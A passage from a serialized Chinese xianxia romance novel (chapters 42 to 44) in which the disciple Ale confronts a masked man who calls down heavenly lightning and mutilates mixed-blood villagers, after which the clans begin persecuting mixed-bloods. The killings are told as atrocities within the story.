“师兄,我没事。”举起手指道:“不小心碰到的。”
叶敬亭拆开纱布又上完药,重新包扎了一下。
“师兄,阿娘、阿爹——”阿乐想要问下阿娘、阿爹有什么消息吗?
“没有。”叶敬亭道。
在这个时候,那没有消息也算是好消息。
“那日你见到了谁?”叶敬亭道。
阿乐便把那日见到的白衣人来龙去脉说了一遍,最后说到见到阿娘阿爹的情形,眼泪又流下。
叶敬亭拍拍她肩,“不会有事的。”
阿乐点点头。
“饿吗?”叶敬亭道。
阿乐泪眼婆娑,点点头。
“等我。”说罢叶敬亭便出去了。
房间里又恢复了安静,阿乐躺在床上,脑子里
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一直在重复最后见到阿娘的画面,一边又安慰自己道:“一定不会有事的,没有消息就是没有事。”
眼泪顺着眼角湿了脸颊。
这个白衣人修为如此之高,还能引发天劫,到底是什么人?
阿乐正想的起劲,窗口飞进一颗石头,“咚”一声响。
紧接着一颗、两颗、三颗,“咚”“咚”“咚”接连响声在屋里炸开。
阿乐一股脑坐起,随手披上衣服,循着石头来的轨迹向窗外看去。
一道黑影闪过,“谁?”一个跃身,从窗户口跳出追着黑影而去。
这黑影似乎对清灵山不是很熟悉,只是避开大道,往一些偏僻的林子钻去。
阿乐身体刚刚恢复还有些虚,追了一会便没力气了,本打算放弃,没想到黑影慢下,眨眼间一个转身,既然冲着阿乐跑来。
阿乐以为自己又中了什么“圈套”,提起“雪落”挡在胸前,发出求救密信。
没想到黑影停在她身前,也不见有什么动静。
“阿乐,我!”黑影道。
阿乐抬起头,这才看清眼前人:“邴哲!”
下一瞬,嘴巴被捂住,“你声音小点,这是清灵山!”
挣脱开,阿乐小声道:“你也知道是清灵山,妖魔族又想干嘛?”说罢又提起剑挡在自己身前。
邴哲无奈翻了个白眼,“前几日看到天劫降在你们这里,天雷烧了好几个城镇、村庄!我来看你的啊!”
阿乐还是不相信:“你怎么知道我在这里!”
“那日我去宛东城的时候看到你一个人晕倒在地上,是我帮你拖到城外。不然说不定你早被那天雷烧焦了!!!”邴哲咬牙切齿看着阿乐,眼神好似在说“我好歹也算是救了你”。
“是你?你怎么在那?”阿乐想起来自己晕倒后的确是在城外醒过来的,“那后面你去哪里了?”
“那个白衣人太厉害,我差点被他发现,就只能先溜了。”邴哲挠挠头,“我再回去找你,便看到你师兄把你带走了。”
阿乐收起“雪落”,“那你跟来清灵山干嘛?”
“为了不让发现,我躲在那山洞里好几天!”邴哲有些委屈,他一个妖魔族的左使,躲在这山洞里好几天,还被质问,真是上哪说理去。
阿乐顿住,正在努力消化邴哲说的话,可如果他说的不是真的,那只身一人躲在这里,要是不小心被发现,绝对没有好下场。
“你说的真的?”阿乐问道。
邴哲叹了一口气,“句句属实。”
“上次你中了魔尊的毒,若不是我暗中相送解药,那叶敬亭怎么可能来打一架就能拿到?”邴哲抱着手气呼呼的看着阿乐。
“原来那次师兄还去找妖魔族要解药了呀?”阿乐心道,反正这里是清灵山,他也不能做出什么事来,那就先相信他说的话吧。
邴哲上下打量了下阿乐,道:“看来你伤没什么大碍了。”目光锁在阿乐手上,在乾坤袋里一阵摸索,终于拿出一个小黑瓶。
递给阿乐:“呐,这个抹几次就会好。”
阿乐接过小黑瓶,握在手里:“你——为什么那么关心我?”
邴哲一时语塞,顿了顿,一脸坏笑道:“我喜欢你不行吗?”
说罢,一道残影划过,居然跑了,阿乐呆在原地,“喂—你跑什么?”
“再不跑,怕被师弟打残。”叶鹤声音在身后传来。
只见叶敬亭沉着脸,盯着邴哲消失的地方。
“师兄!”阿乐话音未落,叶鹤又道:“阿乐,你可不能被那小子花言巧语骗了!”
阿乐把小黑瓶藏进袖口,“我没有!”
随即又道:“师兄,我饿了。”
42. 叶平安
赵大厨专门为阿乐准备了一顿“豆腐宴”,因为她整整两天未进食,只能吃一些易消化的食物。
在回住所的路上,阿乐牵着叶敬亭的手一晃一晃。
“师兄,我还要吃几天豆腐啊?”阿乐道,现在她打的嗝都是豆腐味。
叶敬亭勾起嘴角笑了一下。
“师兄,阿爹阿娘不会有事吧?”阿乐一脸愁容,脚下也慢了几分。
叶敬亭侧过身,另一只手搂过她,轻轻拥着:“不会有事的。”
阿乐点点头。
“对了师兄,师尊是不是还在闭关?”阿乐道。
叶敬亭点点头。
叶修一从他们出浮空岛后就一直在闭关,也没交待什么,连叶敬亭也不知他为何闭关。
两人慢悠悠走在路上,才短短几日,接连发生太多事了。
“轰隆”一声炸响,夜空中滚滚天雷从天而降,山脚下又被砸出天火,顿时,又是一片火光冲天。
“天雷?”两人站在原地看着一个接一个天雷落下,“师兄,快去救人。”
此时两人也收到叶鹤密信:“快去救人!”
夜空中划过几道白光,那是御剑留下的灵力,紧随其后百道白光从天空中划过。
这次的天雷似乎比上次砸下的更多,本就已经烧焦的山村更是连最后的残渣都不剩。
阿乐脑海里又浮现出那个带着面具的白衣人,看着叶敬亭正循着哭喊声冲进熊熊燃烧的大火里,独自御剑往宛东城而去。
她心脏“砰砰”直跳,她感觉这次又会见到白衣人。握紧“雪落”,指尖传来一阵疼痛,才觉察到自己太过用力扯到了伤口。
又回到熟悉的地方,虽然已经做好准备迎接这一片烧焦的废墟,但当踏上这里的时候,还是有些鼻酸。
突然,一声尖叫声冲出火光。
这里已经被烧毁,怎么还会有人?
这尖叫声短暂而急促,喊叫的人十有八九已经遇难了。
阿乐警觉的环视四周,没过一会,同一方向又出现尖叫,声音比上次更长一些。
毫不犹豫循着声音飞身而去,绕过几道火光,一阵浓烈血腥味混杂着焦化的味道,地上果然躺着一具尸体,头发盖住了脸,四肢被残忍的砍去。
阿乐看着还在流出的鲜血,怔在原地,握着“雪落”上前,挑开头发,看着死者捂着嘴往后退去。
死者睁大双眼,嘴把张大,好似正在求救。
“这,这不是上次从洞里救出的混血者吗?叶平安不是说把他们送去安全的地方了嘛?”阿乐自言自语道。
怕自己看错,又蹲下仔细辨认一遍,“是她。”
阿乐双手微颤,把女子瞪圆的双眼轻轻阖上。
“那其他混血者呢?”还有那两个被叶平安罚站的小朋友呢?
心中暗惊,提着“雪落”飞身至半空中,俯视着整个宛东城,果然在火光闪烁中,有一团白影穿梭在炎焰中。
就在阿乐看向他的时候,白影停下了,抬头向半空中看了一眼。
隔着面具,也似乎看到他脸上得意的笑容。
“可恶。你到底是谁?到底想干什么?”阿乐心道。
“哈哈哈哈哈啊哈——”一连串笑声从面具后传出来。
这是挑衅吗?
一阵热浪袭来,阿乐连忙闪开,天雷就在原来的位置砸下。
眨眼间,白衣人又消失了。
不妙,阿乐有强烈的预感不妙,白衣人最后转头看她那一眼,她感到他在面具下笑。
好像要让她去看什么东西。
俯冲下去,站在白衣人的位置,一样的方位望去,一堵烧得峻黑的断墙赫然立在眼前。
断墙上好像有什么东西?
阿乐避开炎焰,往前飞去,在断墙前顿住脚,抬头望去:“啊——”
痛苦的喊叫声淹没在火海中。
那是一排尸体,齐齐被砍去了四肢,正是那群她从妖魔族手里救出来的人。
最后挂着的两具小小的尸体蜷缩在一起,就是那两个小朋友。
“啊——”
阿乐跪倒在地上望着这一排尸体,欲哭无泪。
那两个小朋友还那么小,他们甚至还不懂什么叫“浮生若梦,终归烬灭”便永远消失了。
阿乐脑海里浮现出万尸坑里的那些残肢。
“阿乐——”背后有人喊了几遍,阿乐还是跪在地上望着尸体怔怔发呆。
叶平安见喊几次阿乐都无动于衷,还以为她是不是受伤了,急忙跑了上来。
“阿乐!你没事吧!”叶平安担心道。
阿乐转头看向叶平安,说不出话,眼泪却“唰”流了下来,抬起颤抖的手指了指断墙。
叶平安看着阿乐还没想清楚她为什么要跪在地上哭,当顺着她手指望去时,只看到短墙上挂着一条条——一条条尸体?
他们到底做了什么伤天害理的事情?居然被人这样挂在墙上。
可就算那是尸体,阿乐为何要哭成这样?
火舌疯狂舔舐着断墙,快要烧到那些尸体,阿乐哭声越来越大,最后既然是大哭起来。
一阵风吹过,明明是在火海中,叶平安却觉得背脊一阵发凉。
他顺着那排尸体看去,目光扫到最后那两个小小的尸体时停下了,头上仿佛被人敲了一记重锤。
灵力随着手抬起落下,最后两具尸体落在叶平安怀里,耳旁还听到他们的嬉笑声,“平安哥哥,你教我们御剑好不好?”
“这样我们就可以去找阿娘了!”
叶平安看着怀里的小小一团,没有了四肢显得更小了,“到底为什么?”
火焰燎到了衣角,火势向上蔓延,他就这样一动不动看着怀里的尸体。
阿乐把他衣服上火扑灭,叶平安也不过还是个孩子。
“平安,把他们安葬吧!”阿乐抹着眼泪道。
“不——!!!”
这一声吼叫,让方圆十里的火焰瞬间都灭了。
阿乐连退三步,“雪落”插在地上,灌满灵力才站住。
“平安——”阿乐喊了几声,叶平安还是保持一个动作无动于衷。
“不好——”阿乐惊觉有股能量袭来。
已然来不及了。
一道光从叶平安体内散发出来,刺得阿乐睁不开眼,抬起手挡住眼,一股强劲的力量瞬间扑面而来,阿乐本能提起“雪落”挡在胸前,嘴里一甜,身体被撞飞数十里。
周围一切都安静极了。
只感到身体从空中升起又落下,五脏六腑搅在了一起。
一切发生得太快,耳朵似乎有液体流出,顾不得那么多了。
召回“雪落”向叶平安飞身而去。
“平安——你把那股能量沉下丹田,不要被它控制住!”阿乐听不到自己的声音,只能不断重复着,也不知道叶平安有没有听到。
只能看到叶平安表情狰狞,似乎在与体内的某种能量抗争,嘴巴一张一合听不见在说什么,耳旁只有“
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嗡嗡嗡”的声音。
阿乐看着叶平安痛苦的表情,想要靠近,被一次次推开。
“不要被它控制,不要被它控制,往下沉!”阿乐扯着嗓子喊,也不知他有没有听到。
叶平安仰天长啸,用手抱着自己的脑袋向地上一次次撞去。
“冷静——想想你的师兄弟,想想你现在的生活——”阿乐大声吼着,生怕对方听不到。
终于,叶平安不撞了抱着头趴在地上一动不动。
阿乐看着地上触目惊心的血迹,心疼的看着趴在一旁的叶平安,眼泪又止不住夺眶而出。
小心翼翼靠上前,叶平安还是保持原来姿势呆在原地。
阿乐喊了两声还是没有反应,用手推了一把,叶平安身体顺着力道倒在地上。
满脸都是鲜血,升起灵力探了□□内,无碍。
看来只是是晕过去了。
阿乐试着把他抱起,尝试了几次都没有用。看着平时瘦瘦的身子,没想到那么重。
只好向叶敬亭等人发出求救密信。
等了半晌,没有回应。看来也是遇到棘手的问题。
那只能靠自己了。
灵力注满双手,住叶平安的腰横抱起,“雪落”平稳的停在阿乐抬脚的位置,等着主人站稳便往清灵山飞去。
山脚下还是天雷滚滚,丝毫没有减弱的迹象。
好在大部分人都已经被撤离。
阿乐低头看着脚下火海肆意燃烧,不但村子被烧毁,连带很大片树林也是光秃秃一片。眉头越拧越紧,师尊不知闭关要到何时,这天劫第二次出现了,若再放任那引出天劫的人,恐怕还会有更多伤亡。
正在思考着,忽然看到红色火光中一点白影。
是他!白衣人。
正有一人正被他困住在火海中。
阿乐往下降了一些,想要看清那人是谁。
似乎感应到阿乐的到来,白衣人向半空中望了一眼。阿乐一惊,加快“雪落”的速度,回首看了一眼,还好白衣人没有追来。
被困住的那人一身黑衣,是在清灵山见过吗?脑海中闪过几个面孔都对不上。
“我喜欢你不行吗?”
这句话莫名奇妙从阿乐脑海中蹦了出来,阿乐双眼瞪圆,“是邴哲。”
他怎么会出现在这里?难道是从清灵山出来还未来得及回去?
不管怎么说,白衣人想杀的都应该救。
更何况,邴哲与她也算是有些交情。
低头看了一眼叶平安,“雪落”感受到阿乐的心情,加快了去清灵山的速度。
可是回去再来,会来不及,在火海里看到几个清灵山弟子,索性把叶平安交给他们,便调转回去。
沿着刚才的方向一路寻找,却始终不见那个黑色身影。
“不会——?”摇摇头,“不会——不会——”
“你在找我吗?”阿乐猛然低头,空洞的白色面具赫然就在眼前。
阿乐一个踉跄,向后倒去。
“雪落”焦急的在她身边飞来飞去,却找不到一个合适的角度接住。
眼看就要摔到地上,还真就结结实实的摔到了地上。
阿乐忍着后背传来的疼痛,一骨碌爬起,握住“雪落”横在胸前,警惕四周,却又并未见到白衣人。
不敢松懈,白衣人神出鬼没,声音从身后传来幽幽传来:“我在这。”
阿乐猛然转身,白衣人擒着一人正站在身后。
果然是邴哲。
43. 天雷
邴哲眼神一直绕着阿乐转,阿乐看半天也没看懂他想说什么。
“你到底是谁?”阿乐提起“雪落”指着白衣人,问询声音很大,她耳朵还没有完全恢复听力。
听上去更像是挑衅。
邴哲摇摇头,默默闭上了双眼,表情看上去很无奈。
身旁熊熊火烧得“噼里啪啦”,热浪一波接一波,阿乐身上一阵阵冰凉。
也不知师兄们都去哪里了,自己恐怕不是他的对手。
正准备发出密信求救,这时白衣人开口道:“他们来,看到妖魔族的人,这次还会放他走吗?”
阿乐望了望邴哲,默默握紧手里的“雪落”。
白衣人看着阿乐笑出了声,“没有你的师兄们,你就不行了吗?”
阿乐忿忿得举起“雪落”对着白衣人道,“你放了他,我们一对一!”
白衣人好似听到什么好笑的笑话,笑得前仰后倒,阿乐乘机去救邴哲,却发现根本靠近不了。
“哈哈哈哈哈哈,你——你这小朋友实在好玩——哈哈哈哈哈”
“怎么,一对一你就怕了?”阿乐道,故意激怒她,想找到破绽。
笑了半晌,白衣人才停下,对着阿乐悠悠道:
“怕?怕你个锤子!看不出来我让他站在这里,已经是对他最大的恩典了吗?”
阿乐知道自己不是白衣人对手,邴哲也不是对手。其实白衣人要抓她不过举手之事,此时用邴哲来“威胁”她,不过是白衣人自己的什么“乐趣”吧。
“终于想明白了?我还以为他们俩生的孩子会聪明一些!”白衣人扶额,一副悲痛状。
“我阿爹阿娘呢?”阿乐紧盯着白衣人,巴不得穿过他面具看一看到底是什么样的人。
“你阿爹阿娘我怎么知道在哪里?”白衣人不紧不慢道。
阿乐心中反而松了一口气,那起码说明他们还活着。
此时,白衣人在邴哲耳边道:“你不好奇她阿爹阿娘是谁吗?”
见邴哲不说话,又道:“哦——我忘了,你被封住口。”
白衣人动了动手指,邴哲发现能说话了,随即对阿乐大喊道:“阿乐,快跑!!”
白衣人悠悠道:“他母亲是清云山流云灵尊叶绾棠,父亲是龙族三公子龙临羽。”
邴哲眼眸愣了一瞬间,对着白衣人道:“你到底想说什么?”
“都是混血者,她却能在清云山做叶修一的弟子,而你却得在妖魔族伺候那个魔尊,真是不同命啊!”白衣人道。
魔尊销魂的呻吟声在脑海中浮现,他额头青筋冒起,侧首盯着白色面具后的那双眼睛道:“一个需要戴面具遮掩真容的人有什么立场说这些?”
白衣人眼眸寒光一闪,邴哲后背吃痛,整个人被一掌打至半空。
迅速降落,灵力还被封,使不上一点力。
“邴哲——”阿乐飞身而来,接住了他。
却没接稳,两人接连摔到了地上。
“啊哟—你好重啊!”阿乐揉着手臂哼唧道。
“你没事吧!”邴哲慌忙去扶,两人手忙脚乱的。
白衣人还没走,却也没靠近,他抱着手站在不近不远的地方看着。
“他还没走—”阿乐一骨碌爬起,握着“雪落”往邴哲身前挡了挡。
“混血者的命运就是被杀死,不是我也会是别人。”白衣人说完便消失了。
阿乐眼睁睁看着他就这样眨眼间消失,内心忐忑不已。
两人就这样站了一会。
“你先帮我解开封印。”邴哲开口道。
阿乐指尖升起一道亮光,对着邴哲身上穴位点了几下。
“你叫什么名字?”邴哲道。
阿乐一脸诧异,眨眨眼道:“你脑子被摔坏了吧,我叫阿乐啊!”
“你不是应该姓龙吗?”邴哲转过身面对着阿乐,一脸真诚。
阿乐怔住,随即道:“龙知乐。”
邴哲伸出手道:“你好,龙知乐!”
阿乐莞尔一笑,伸手拍了一下邴哲手掌,道:“你还好吧?”
邴哲手捂着胸口道:“这里很痛,不知道是不是被那掌伤到了。”
阿乐探出手在他胸前查看,没有伤口啊!内伤?
手却被邴哲捉住,看他一脸坏笑,阿乐才反应过来她被耍了,想要抽回收却来不及。
手掌被按在胸口,传来“咚咚咚”的心跳声。
阿乐以为他又要说什么莫名其妙的话,眉间皱起。
“好好活着!我们都要好好活着!”邴哲眼眸里映着火光,亮晶晶的闪动着。
阿乐轻笑,回道:“好。”
“在哪?”叶敬亭密信传来。
阿乐抽回手,对着邴哲道:“我要回去了。”
说罢,已踏上“雪落”往清灵山飞去。
邴哲站在原地仰面看着空中,直到看不见。
“我回来了。”阿乐回道。
不知道平安那边怎么样,对了那些尸体还挂在断墙上。
“雪落”收到指令,在空中一个平稳的转弯往回飞去。
火舌已爬上了尸体,烧成一条黑炭,已经分不清谁是谁。阿乐在附近找了地方,把他们埋在了一起。
这样也好,在一起热热闹闹的。一切处理好了才回清灵山。
这才踏进清灵山大门,一道白影就扑了过来,是叶敬亭。
“你怎么不回密信?”声音里满是焦急。
“我回了呀。”阿乐从叶敬亭怀里抬起头。
叶敬亭牵起她手,灵力从掌心传了过去,阿乐脑海里飘出一堆密信,从刚开始的询问“在哪?”到后面的很多“你到底在哪?”“我找不到你!”“你在哪里?”“到底在哪里?”——
阿乐想起白衣人,看来他修为比自己想象的还要高。
阿乐把遇到白衣人以及叶平安、尸体都说了一遍,唯独隐瞒了邴哲。主要是不想让叶敬亭多心。
“叶平安现在怎么样?”阿乐道。
“受到强刺激,把体内残留的一点‘浮生烬’爆了出来。现在没事了。”叶敬亭道。
阿乐点点头,没事就好。
“师尊呢?”阿乐道。
“还在闭关。”叶敬亭道。
“那白衣人能阻断密信,修为肯定在你我之上。”阿乐道。
白敬亭点点头,
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他在听到阿乐说遇到白衣人的地方,他明明搜查过很多遍,居然也没有发现有任何异常。这个白衣人的确是很棘手。
“不要再单独行动。”叶敬亭道。
这白衣人明显是冲着阿乐来的。
阿乐点点头,随即道:“师兄,明天我想去看看平安。师兄,明日便不用陪我了。”
叶敬亭看着阿乐,没有说话。
“师兄,那我回去了,你也好好休息。”说罢便跑走了。
阿乐一路没敢回头,直至回到房间。
坐在床榻上,阿乐脑海中一直回想着那面断墙、被烧焦的尸体,想得最多的还是那句话:“混血者的命运就是被杀死,不是我也会是别人。”
“他以后会找一个神族女子结婚、育子。而你,只能在某一天‘浮生烬’爆发,而后孤独的死去。”这句话也从脑海里蹦了出来。
阿乐以为自己已经想得很清楚了,现在才看清,是自己太天真了。
如果继续这样下去,终究会把叶敬亭也拉入局。
他本该可以在清灵山继续做受万人敬仰的仙人,就因为她以后要无止境面对这些吗?
可是为什么她就要面对这些呢?就因为她是混血者吗?
“阿娘——”阿乐轻轻啜涕,她好想问问阿爹阿娘,到底该怎么做。
次日清晨,天还未亮,阿乐房门便传来一阵急促敲门声。
“阿乐!阿乐!”是叶丽、叶茜的声音。
阿乐昨晚是哭着睡着的,眼睛肿的像两个核桃,打开门看到两人焦急的模样,问道:“怎么了?”
“快穿上衣服跟我们走。”说罢两人便闯进来帮她穿衣洗脸。
然后便拖着她飞身往清灵殿而去。
“你们倒是说怎么了?”阿乐追问道。
“从昨夜起,天雷在各地出现,现在需要各族联盟去救灾。”叶茜大概把事情说了一下。
阿乐心中一惊,难道全是白衣人所为?他究竟想做什么?
几人赶到大殿,乌泱泱一片,看来大部分弟子已经聚集。
师尊站在殿中央,其余师兄依次排开站在两旁。
叶鹤见到阿乐来了抬手打了招呼,叶敬亭目视前方,还是一副生人勿进的模样。
阿乐心道:“算了,现在这样挺好。”
正如叶茜所说,之前只在清灵山出现的天雷,昨夜起便陆续在龙族的大泽陆、人族的内陆、妖魔族的无间地界四处降下。
且有消息传出,降下的地方都是有混血者聚集。
现在各族都会派出弟子组成联盟,一起救灾。
因时间紧迫,来不及细细分组,都是自行组队,再由叶子清来分配去救灾的地界。
阿乐索性与叶茜、叶丽、最后还有叶之远组成一队。本来按顺序是去龙族的大泽陆,叶子清临时改了人族的内陆。
众人各自领命,马不停蹄往救灾地赶去,现在就是抢时辰。
阿乐最后向殿内看了一眼,叶敬亭还是一脸淡然。
“师兄,我走了。”阿乐在心中默念,转身与几人便御剑走了。
这一路上,果然看到一片片火光,几人加速御剑往内陆飞去。
44. 混血者
人族首都兰陵城是皇帝居住的城池,人族皇帝王氏本身就是修仙的修士,他居住的地方暂时无恙。
但周边的村庄可就遭罪了,四处飘散着烧焦的味道,天空中浓烟滚滚。
这里大多数都是平民百姓,要不就是修为不高的散修,这天雷比普通火焰要难浇灭,凭普通水是行不通的,要带些灵力才行。
可是这天雷一直落下,刚灭的火又烧起来,循环反复几次,再多灵力也撑不住。
现在首当其冲的是救人。
从天亮到天黑,阿乐记不清已经救了多少人,好在人族皇帝还算爱护子民,开放兰陵城大门让难民躲避,提供吃住。
奇怪的是这天雷似乎又并不是随意落下,比如有的城镇就没事,受灾的全是村庄。按理说这城镇更大,更容易被砸中才是。
“阿乐——快来这边——”叶丽大声喊叫,阿乐刚把一个小女孩安放好,便急忙跑过去。
被烧黑的残檐断壁上齐齐挂着一排尸体,每个尸体都被砍去四肢。
同样的手法,除了白衣人还有谁?
叶之远上前探查,发现他们都一样是混血者。
“他们无一例外体内都有残留‘浮生烬’。”叶之远道。
阿乐拧紧眉心,“混血者的命运就是被杀死——”所以白衣人是在兑现他的“诺言”吗?他到底是谁?
天雷还在降下,阿乐几人又忙着去救其他村民。
整整两天,越来越多的村庄遭到天灾,兰陵城实在人满为患,皇帝派了一些修为较高的修士到城镇镇守,开门收难民。
这次天雷足足降了五天之久,才停。
众人发现了一个规律,天雷降下的村庄里都是有混血者居住。他们都会被砍去四肢整齐挂在墙上,这是在向世人示威。
一时间各族都在流传着《天规》:“血脉相淆者,天地共诛。”这是真神在惩罚降下的天雷,铲除混血者。
不知道下一次天雷什么时候降世。
若是还放任混血者不管,还有更多地方要遭殃,时间一长,这世间万物都得生灵涂炭。
世人都知道这飞升真神的目前就只有清灵山的叶闲真神,他是叶修一的师兄。
各族族长只好来到清灵山,与叶修一商讨对策。
民间也没闲着,为了自己保命,自发组织起清洗混血者,本来侥幸逃过天雷的混血者现在也都岌岌可危。
现在凡是与混血者这三个字沾上关系的都很惨。
清灵山清灵殿内,传来一阵争吵。
人族皇帝王无极、龙族大公子龙御萧、鲛人族族长珞溟站在殿内,望着座上的叶修一。
“叶兄,可否与叶闲真神取得联系,这天雷实在吃不消啊——”现在说话的是龙御萧,龙族族长龙天一,曾经的战神现在与爱妻龙吟筱退隐了,全部族事都交予这大儿子处理。
珞溟站在龙御萧身旁,唯首是瞻。
“上神,现在各界都是生灵涂炭,还请叶闲真神能回凡间——”王无极算是各族里年纪最小的,没办法人族的寿命就是没办法与其他族比。
叶子清等几个徒弟站在殿下,看着这前来商讨的各族族长,师尊却负手而立,半晌也没说话。
叶鹤低声对叶敬亭道:“小师妹还没有回来吧?”
他是担心小师妹碰到龙族人,也担心她身份被知晓。
叶敬亭摇摇头。
“那就好。”叶鹤道。
“我不知。”叶敬亭道。
“你不知?你们吵架了?”叶鹤道。
见叶敬亭半晌不说话,叶鹤追问:“现在这个时候,不是闹别扭的时候,万一——”
叶子清投来一记眼光,叶鹤把后半句话咽了下去。
自从那日一别,叶敬亭也五天没有她消息了。
所有目光都集中在叶修一身上,可他偏偏不说话。
若是龙天一在还能多说两句,现在这叶修一不说话,大家也只能站着等。
终于叶修一转过身来,看来是做了一个很艰难的决定。
不到一个时辰,“有神族血脉的混血者可以到清灵山洗脉”这个消息便传遍整个修真界。
阿乐听到这个消息的时候,正在安抚一对母女。这母亲叫徐娘一看就是人族修士,小女孩叫阿珍,不过六岁摸样,看上去玲珑可爱,自带仙气,应该不是龙族就是神族吧!
这天雷滚滚就够受的了,妖魔族现在藏都不藏了,明目张胆来截胡,还美名其曰:“反正你们都是杀死,不如让我们拿回去炼丹啊!”
阿乐气得跟他们大打出手。
这个消息是叶之远告诉阿乐的。
“那没有神族血脉的混血者怎么办?”阿乐道。
叶之远在阿乐耳旁耳语了几句。
阿乐面色凝重,深深叹口气,现在那白衣人还不知会不会再引来天雷,现在能多救几个是几个。
阿乐这一待又是五日。
叶鹤已经是从她这里第三次带走有神族血脉的混血者了。
看着小师妹一次比一次瘦,一脸疲惫感觉很多天没有休息过了。
“阿乐,你再怎么着也要好好吃饭啊!你看你这样子,别说敬亭了,我看了都心疼!”叶鹤道。
阿乐耸耸肩,这几天妖魔族更猖狂了,赶快把人救走才是正事。
“妖魔族最近是不是又蠢蠢欲动了,我让敬亭来帮你。”说罢就要发密信给叶敬亭,阿乐一把抓住他,摇摇头。
这时,徐娘牵着阿珍走了过来,小女孩看上去伤势好了许多。
阿乐看到她们招了招手,她正想找她们,“徐娘——”
此时叶鹤是背对母女俩的,徐娘寻声看向阿乐正想招手,待看到叶鹤时顿足了一下,抱起阿珍转身便想走。
阿乐大声喊道:“徐娘——阿珍——是我!阿乐!”便大步追去。
叶鹤闻声转过头,看到徐娘,只觉得在哪儿见过,却一时想不起来。
“徐娘,徐娘——怎么那么耳熟?”叶鹤自言自语道,突然脑中一闪,连忙追了上去。
阿乐找了一会,才在一个林子里找到徐娘。
“徐娘你跑什么?!”阿乐道。
阿珍看到阿乐,从徐娘怀里挣脱出来,伸着手向阿乐道:“姐姐,抱抱!”
阿乐顺手抱起阿珍,软软糯糯的实在讨人喜欢。
看得出来她也真的很喜欢阿乐。徐娘也看得出来,她也很感谢阿乐。
“我——”徐娘一时语塞,还没想好怎么解释。
“我知道你的顾虑,你先跟我说。阿珍的阿爹是神族还是龙族的人?”阿乐道。
徐娘一时手足无措,眼神飘忽不定,似乎有什么难以启齿。
“阿爹——阿珍没有阿爹,阿珍只有阿娘。”阿珍道。
阿乐伸手掐了掐她肉嘟嘟的脸:“阿珍有阿爹,每个小朋友都有阿爹。”
“那阿爹怎么不来看阿珍呢?”阿珍睁着水灵灵的大眼睛,看看徐娘又看看阿乐。
徐娘双手绞在一起,半晌才下定决定,缓缓道:“神族。”
“看吧,阿珍的爹爹可是神族的——”阿乐话道一半才反应过来,“神族?”
身后响起叶鹤的声音:“不但是神族,这人我还认识,是不是徐娘?”
徐娘看到叶鹤已经认出自己,也不再躲藏,点了点头。
“哈?师兄,你认识徐娘?”阿乐惊愕道,大脑飞速运转,难道是——
“师尊?”
“不是!!!”徐娘与叶鹤异口同声道,叶鹤眼神无奈得翻了个白眼,对着她额头敲了一记。
“徐娘,这孩子——”叶鹤道。
徐娘点点头,“是他的。”
“你们俩别卖关子了,到底是谁?”阿乐一头雾水,难道是大师兄?
叶鹤道:“叶展云。”
阿乐瞳孔放大,瞪圆了眼。她只知道叶展云是个风流倜傥的人,向来招惹女生喜欢,没想到既然有了个那么可爱的女儿,还是混血者。
“你没跟他说过吗?”叶鹤问徐娘。
徐娘垂下头道:“我知道他是一个喜爱自由的人,也知道神族向来视《天规》为法则。我不想拖累他。”
“怎么——”阿乐本想说,怎么能说是拖累呢?转念一想,现在自己不也是怕拖累叶敬亭吗,又乖乖闭嘴。
叶鹤斜睨了她一眼。
“那她还那么小,化神池可不是谁都能活着出来的地方。”叶鹤道。
“对对,我刚才就是想与你说这个。”阿乐插嘴道,她可是亲眼见过叶平安掉了几层皮。
徐娘抱过阿珍,亲昵的蹭蹭她小脸蛋,红着眼眶道:“那怎么办?”
“阿珍不怕,阿珍可以去。”阿珍奶声奶气道。
徐娘被她逗笑了,又亲了亲她,哄道:“我们阿珍最勇敢了。”
乘这个空挡,阿乐拉过叶鹤低声道:“师尊说的‘隐灵谷’算不算数?”
叶鹤抬手又想在她头上敲上一记,还是没下得了手,道:“当然算数,师尊让其他混血者去那个地方生活已经是很
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仁慈了。《天规》你都白学了。不是让你们保密,不要说是师尊的主意吗?”
阿乐点点头,继续道:“那我把徐娘和阿珍也带去吧。”
叶鹤点点头。
“那你知道‘隐灵谷’在哪里吗?”阿乐道。
叶鹤挑眉一笑,一抹不易觉察的狡黠在眼底闪过,“敬亭知道。”
阿乐收起笑脸,双手叉腰道:“哼——我会找到的。”
叶鹤摊手,想起还有混血者等着他要去清灵山,便先走了。
“我!会!找到的!”阿乐对着叶鹤背影吼道。
徐娘牵着阿珍走来,“阿乐,真是给你添麻烦了。”
“不会,不会,阿珍那么可爱,以后就做我妹妹好不好!”阿乐蹲下身逗着阿珍。
“好,阿珍喜欢阿乐姐姐。”
看来要找到这个隐灵谷,还是得回清灵山打听打听。
安顿好徐娘,还有那些没有神族血脉的混血者,阿乐便回清灵山了。
除了叶之远、叶丽叶茜知道以外,她谁也没说。
几日未回清灵山,比之前热闹了许多。
特别是化神池,想来也应是那些来洗血脉的混血者。
化神池依然仙雾缭绕,只是不见那几只仙鹤了,可能是嫌太吵了吧。
还没靠近,便听到传来一阵阵怒吼声伴随着水花四溅的声音。
还有那个熟悉无比的声音:“跟着我练口诀——”
“看来这段时间师兄也很忙——”阿乐有些失落,其实大家都挺忙的。
痛苦的声音渐渐小了,阿乐又悄悄看了一眼,那个挺拔的身影还站在那,那么多天没见,怎么还是那么好看?
突然,叶敬亭抬眸往这边看来,阿乐吓得手心冒汗,立马转身飞身而去。
清灵殿前。
阿乐捂住自己胸口,“真是没出息,就看了那么一眼,也跳成这样。”
平复了一会,阿乐整理好衣裳,往清灵殿走去:“问清楚灵隐谷在哪儿才是正事。”
大门紧闭,阿乐敲了几次,才有人来开门。
大门打开,叶子清看到是阿乐,急忙拉着她往后走去。见四周没人了才道:“师妹,你怎么来这了?”
阿乐四下看了看,学着叶子清的样子悄悄道:“大师兄,我们在躲什么?”
“你不知道,这几日各族族长都在师尊这里商议要事吗?”叶子清道。
想到龙族的人,阿乐咽了下口水:“那他们也不认识我是谁啊!”
她指了指自己的玉牌,这可是龙临羽亲自做的,很少有几个人能看出自己的身份。
“里面那人是龙御萧,你说他能不能看出来?”叶子清道。
阿乐听阿爹说过,大伯是比较严厉的人,何况在这节骨眼,她也不想给师尊惹麻烦。
“可我有事想要找师尊。”阿乐道。
“什么事?”叶子清道。
“我想知道灵隐谷在哪——”阿乐道。
叶子清思索了一会,这地方确实连他也不知道。
“敬亭可能知道。”叶子清道。
阿乐皱起眉头,“大师兄,连你也——”
叶子清笑道:“我可没有啊。”
叶子清嘱咐了几句小心、注意安全什么的便回去了。
